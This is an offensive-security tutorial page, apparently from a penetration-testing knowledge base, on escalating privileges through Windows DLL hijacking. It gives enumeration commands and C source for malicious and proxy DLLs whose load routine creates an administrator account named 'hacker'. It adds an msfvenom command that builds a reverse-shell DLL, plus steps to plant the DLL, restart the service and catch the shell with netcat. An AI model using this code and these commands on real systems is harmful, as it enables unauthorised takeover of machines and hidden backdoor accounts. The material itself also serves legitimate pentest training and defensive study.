# Windows DLL Hijacking for Privilege Escalation

> Exploits Windows DLL search order to load malicious libraries, escalating privileges by hijacking vulnerable application or service executable paths.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/windows-dll-hijacking-for-privilege-escalation
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-14

Windows applications load DLLs by searching several directories in order. If a DLL is missing or a directory searched before the system directory is writable, planting a malicious DLL there causes the application to load and execute your code. When the target application runs as SYSTEM or an elevated account, you get privileged code execution.

## DLL Search Order

For applications without a manifest or `SetDllDirectory` call, Windows searches in this order:

1. The directory of the executable itself
2. `C:\Windows\System32`
3. `C:\Windows\System`
4. `C:\Windows`
5. Current working directory
6. Directories in the `PATH` environment variable

The most common exploitation path: a SYSTEM service is missing a DLL, and its executable directory or a directory in PATH is writable.

## Prerequisites Check

```bash
whoami /priv
whoami /groups
```

Check if any directories in PATH are writable:

```bash
echo %PATH%
# Check each directory
accesschk.exe -uwdqs Users "C:\Some\Path\In\PATH" /accepteula 2>nul
```

## Find Missing DLLs with Process Monitor

Process Monitor (Procmon) from Sysinternals is the most reliable way to find DLL hijacking opportunities. Run it on the target while the vulnerable application or service starts:

```bash
# On target: run Procmon as admin
Procmon.exe /Quiet /Minimized /BackingFile C:\Windows\Temp\procmon.pml
```

Set filters:

- `Operation` is `CreateFile`
- `Path` ends with `.dll`
- `Result` is `NAME NOT FOUND`

This shows every DLL the application tried to load but could not find. For each `NAME NOT FOUND` entry, check if you can write to any of the directories it searched.

## Find Missing DLLs Manually

Without Procmon, use PowerSploit's Find-PathDLLHijack:

```powershell
Import-Module .\PowerUp.ps1
Find-PathDLLHijack
Find-ProcessDLLHijack
```

Or check service executables manually:

```bash
# Get service binary paths
wmic service get name,pathname | findstr /v "C:\Windows"

# Check for DLLs the service tries to load: look at imports
dumpbin /imports "C:\Path\To\service.exe" 2>nul
```

## Confirm Write Access

Once you identify a missing DLL and the search path, confirm write access:

```bash
# Check the service executable's directory
icacls "C:\VulnerableApp\" 2>nul

# Check PATH directories
for %d in (%PATH%) do @icacls "%d" 2>nul | findstr "(W)\|(M)\|(F)"
```

## Create the Malicious DLL

The DLL must export the functions the application expects. For a missing DLL where the application does not check return values, a minimal DLL with a `DllMain` constructor is enough:

```c
// malicious.c
#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}
```

Compile on your attack box (cross-compile for Windows):

```bash
# Linux cross-compile
x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c -lws2_32

# Or with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o malicious.dll
```

## Place the DLL

Copy the DLL to the writable directory with the exact filename the application expects:

```bash
copy C:\Windows\Temp\malicious.dll "C:\VulnerableApp\missing.dll"
```

## Trigger DLL Load

Restart the vulnerable service or application:

```bash
sc stop VulnerableService
sc start VulnerableService
```

Or wait for the next scheduled execution. Start your listener first if using a reverse shell:

```bash
nc -lvnp $LPORT
```

## Proxy DLL: Forwarding Exports

If the application checks that the DLL exports specific functions, a minimal DLL will crash it. Create a proxy DLL that forwards all exports to the real DLL while also executing your payload:

```c
// proxy.c: forwards all exports to the original DLL
#include <windows.h>

// Forward all exports
#pragma comment(linker, "/export:ExportedFunction=C:\\Windows\\System32\\original.dll.ExportedFunction")

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("net user hacker Password123! /add");
        system("net localgroup administrators hacker /add");
    }
    return TRUE;
}
```

Tools like `SharpDllProxy` automate proxy DLL generation:

```bash
# Generate a proxy DLL automatically
SharpDllProxy.exe --dll C:\Windows\System32\original.dll --payload C:\Windows\Temp\shell.exe
```

## Common High-Value DLL Hijacking Targets

Third-party software in `C:\Program Files` frequently loads DLLs from the same directory or from PATH. Look for:

- Custom services in non-standard installation directories
- Applications that run elevated and load DLLs from user-writable locations
- Services with `%TEMP%` or `%APPDATA%` in their working directory

## References

- [DLL Search Order ](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order) - Microsoft Docs Full search order documentation including SafeDllSearchMode.
- [Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) - Sysinternals DLL load monitoring with NAME NOT FOUND filtering.
- [SharpDllProxy](https://github.com/Flangvik/SharpDllProxy) - Flangvik Automated proxy DLL generation for export forwarding.
